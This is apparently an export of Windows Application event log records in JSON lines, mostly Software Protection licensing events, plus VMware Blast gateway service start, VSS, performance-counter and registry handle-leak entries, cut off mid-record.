{"@timestamp":1646920098355,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Private)","bd22e8fa-3782-4724-ab4c-262b85fb6158"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168187}}
{"@timestamp":1646920098355,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Public)","643b1600-308f-44b9-93b0-5ce6c4eacc8f"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168188}}
{"@timestamp":1646920098355,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Private)","44becac1-78b5-4b09-957c-2d38029de643"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168189}}
{"@timestamp":1646920098371,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Public)","4ed3c736-b44c-4184-a7ff-c4833c1647a8"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168190}}
{"@timestamp":1646920098371,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Private)","f8224c6d-c6a9-4341-abd6-1308373bd5cf"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168191}}
{"@timestamp":1646920098371,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Public)","3342e6c4-5e96-4d0b-a605-6e5843825619"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168192}}
{"@timestamp":1646920098371,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Private)","cc9dfe20-87c0-4ed3-9c16-d3c756ddfd19"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168193}}
{"@timestamp":1646920098386,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Public)","2442e9a9-6de6-45f7-9583-e4245200b884"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168194}}
{"@timestamp":1646920098386,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Private)","e00923f7-7b84-4643-902d-2cd7c168eb8e"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168195}}
{"@timestamp":1646920098386,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Public)","5c4e6880-e119-4f56-a01a-3fc9cebab5bc"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168196}}
{"@timestamp":1646920098386,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Private)","7c9b4585-9d1f-4a89-9a49-18a32b1b3da4"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168197}}
{"@timestamp":1646920098402,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Public)","a3a8d030-7455-4f30-970a-e2a06732b15c"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168198}}
{"@timestamp":1646920098402,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Private)","f549a567-3999-4337-b532-0b3028478628"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168199}}
{"@timestamp":1646920098402,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Public)","35cac1b9-d67b-487a-a949-7a0860c03da8"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168200}}
{"@timestamp":1646920098402,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Private)","20dc1953-0152-4922-ba19-87dcae48040a"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168201}}
{"@timestamp":1646920098418,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Public)","8b8acd19-7f7f-4e3c-8495-848f62607d00"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168202}}
{"@timestamp":1646920098418,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Private)","d1080175-1a29-48de-b9cb-3b8dbdeab3a7"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168203}}
{"@timestamp":1646920098418,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Public)","adb1b30c-8da0-451f-9224-00ed7524a3d4"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168204}}
{"@timestamp":1646920098418,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Private)","2d64a074-ed9c-4e03-bc5c-175b2a4822e6"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168205}}
{"@timestamp":1646920098433,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Public)","eb795bfb-6494-4c4b-9c76-f01f2fe086b6"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168206}}
{"@timestamp":1646920098433,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Private)","9ea43fb2-eb97-42c5-8266-37ce94a2dcc5"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168207}}
{"@timestamp":1646920098433,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Public)","8ac39560-770f-46f8-8ac2-b77c5db2691c"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168208}}
{"@timestamp":1646920098433,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Private)","0c4d6336-bb3c-4df9-891b-08fec6b2d245"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168209}}
{"@timestamp":1646920098449,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Public)","a8eeb670-613d-4e47-9d89-9496d0330a9f"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168210}}
{"@timestamp":1646920098449,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Private)","eb6d764a-87b7-457c-b785-2f694b46e3bd"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168211}}
{"@timestamp":1646920098464,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Public)","26466582-77e6-4909-9e02-e9eff3f72a63"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168212}}
{"@timestamp":1646920098464,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Private)","5e20bbd8-f6ef-42c6-95ec-4e45db27ca87"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168213}}
{"@timestamp":1646920098464,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Public)","8f61e8e3-d066-44d6-808e-4adff568eba0"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168214}}
{"@timestamp":1646920098464,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Private)","d77c3350-7d5a-48ce-96a6-cb48a776c1af"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168215}}
{"@timestamp":1646920098464,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL volume License (Public)","15663269-0225-49ea-b236-b6a683b22c37"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168216}}
{"@timestamp":1646920098480,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL volume License (Private)","d0c470e3-0878-4144-9c11-daa0a3a8a2f3"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168217}}
{"@timestamp":1646920098480,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Public)","9a206fda-3007-4689-ad00-d2d4fbe34c91"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168218}}
{"@timestamp":1646920098480,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Private)","b90fb33c-413d-430d-9e91-ca6fc11a142c"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168219}}
{"@timestamp":1646920098496,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Public)","92659f0c-121b-4066-aca0-b8250ab57b67"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168220}}
{"@timestamp":1646920098496,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Private)","8b1a6795-ffe8-4854-b1d2-830b66211efd"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168221}}
{"@timestamp":1646920098496,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Public)","be817f8e-d07b-4b8e-bfd9-445875ba548d"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168222}}
{"@timestamp":1646920098496,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Private)","7ef00fe2-0bdc-4360-bdfc-20eb6580f0e9"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168223}}
{"@timestamp":1646920098511,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Public)","f652839c-fcca-42fa-b6bb-6b3817913baa"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168224}}
{"@timestamp":1646920098511,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Private)","719b0eb8-a086-4613-90b6-17f5e110c95a"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168225}}
{"@timestamp":1646920098511,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Public)","69925093-edd2-4912-889d-113e75fd9fce"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168226}}
{"@timestamp":1646920098511,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Private)","572d425e-7779-47cb-bfd5-d1a8f933e55f"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168227}}
{"@timestamp":1646920098527,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL inherited License (Public)","e4852392-3882-4347-b342-5e24845f6492"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168228}}
{"@timestamp":1646920098527,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL inherited License (Private)","0b745293-db63-4dbe-a3f5-1e14d42c0c18"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168229}}
{"@timestamp":1646920098761,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["ACLUIFileFolderTool-IsSecurityUIEnabled","100"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168230}}
{"@timestamp":1646920098761,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-IgnoreDeferredActivation","500"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168231}}
{"@timestamp":1646920098761,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1033,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["(Security-SPP-Reserved-EnableNotificationMode) ","55c92734-d682-4d71-983e-d6ec3f16059f","21c56779-b449-4d20-adfc-eece0e1ad74b"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168232}}
{"@timestamp":1646920098777,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 0 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 257846)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168233}}
{"@timestamp":1646920098808,"ecs":{"version":"8.4"},"event":{"activity":null,"code":902,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["10.0.14393.5006"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168234}}
{"@timestamp":1646920099636,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/09/05:15:14:18;LastConsumptionReason=0x4004f040;LastNotificationId=Cleanup;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=379cccfb-d4e0-48fe-b0f2-0136097be147;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168235}}
{"@timestamp":1646920117898,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1040,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","START"]}}},"module":"Application","provider":"nssm","sequence":168236}}
{"@timestamp":1646920118070,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":168237}}
{"@timestamp":1646920118070,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":168238}}
{"@timestamp":1646920121554,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":168239}}
{"@timestamp":1646920129679,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:49Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168240}}
{"@timestamp":1646920239367,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8224,"custom_data":{"EventData":{"Binary":"2D20436F64653A2020434F525356434330303030303736302D2043616C6C3A2020434F525356434330303030303734322D205049443A202030303030333531362D205449443A202030303030333538342D20434D443A2020433A5C57696E646F77735C73797374656D33325C76737376632E6578652020202D20557365723A204E616D653A204E5420415554484F524954595C53595354454D2C205349443A532D312D352D313820","Data":{"#text":[""]}}},"module":"Application","provider":"VSS","sequence":168241}}
{"@timestamp":1646920277214,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:14:17Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168242}}
{"@timestamp":1646920297923,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1001,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"LoadPerf"},"binaryData":"922E0000932E0000D6050000","binaryDataSize":12,"param1":"WmiApRpl","param2":"WmiApRpl"}}},"module":"Application","provider":"Microsoft-Windows-LoadPerf","sequence":168243}}
{"@timestamp":1646920298027,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1000,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"LoadPerf"},"binaryData":"942E0000642F0000952E0000652F0000","binaryDataSize":16,"param1":"WmiApRpl","param2":"WmiApRpl"}}},"module":"Application","provider":"Microsoft-Windows-LoadPerf","sequence":168244}}
{"@timestamp":1646920307217,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:47Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168245}}
{"@timestamp":1646920337220,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:14:17Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168246}}
{"@timestamp":1646920367224,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:47Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168247}}
{"@timestamp":1646920410957,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168248}}
{"@timestamp":1646920440972,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:14:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168249}}
{"@timestamp":1646920470983,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168250}}
{"@timestamp":1646920500990,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:14:00Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168251}}
{"@timestamp":1646920530996,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:30Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168252}}
{"@timestamp":1646920561003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:14:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168253}}
{"@timestamp":1646920591008,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168254}}
{"@timestamp":1646920621013,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:14:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168255}}
{"@timestamp":1646920651018,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168256}}
{"@timestamp":1646920681023,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:14:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168257}}
{"@timestamp":1646920711027,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168258}}
{"@timestamp":1646920741032,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:14:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168259}}
{"@timestamp":1646920771039,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168260}}
{"@timestamp":1646920801043,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:14:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168261}}
{"@timestamp":1646920831048,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168262}}
{"@timestamp":1646920861052,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:14:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168263}}
{"@timestamp":1646920891057,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168264}}
{"@timestamp":1646920921062,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:14:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168265}}
{"@timestamp":1646920951067,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168266}}
{"@timestamp":1646920981072,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:14:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168267}}
{"@timestamp":1646921011080,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:31Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168268}}
{"@timestamp":1646921041085,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:14:01Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168269}}
{"@timestamp":1646921069519,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1530,"custom_data":{"EventData":{"#attributes":{"Name":"EVENT_HIVE_LEAK"},"Detail":"11 user registry handles leaked from \\Registry\\User\\S-1-5-21-1078081533-1645522239-682003330-1192:\nProcess 708 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\System\\GameConfigStore\\Parents\nProcess 708 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\System\\GameConfigStore\nProcess 68 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\nProcess 960 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\nProcess 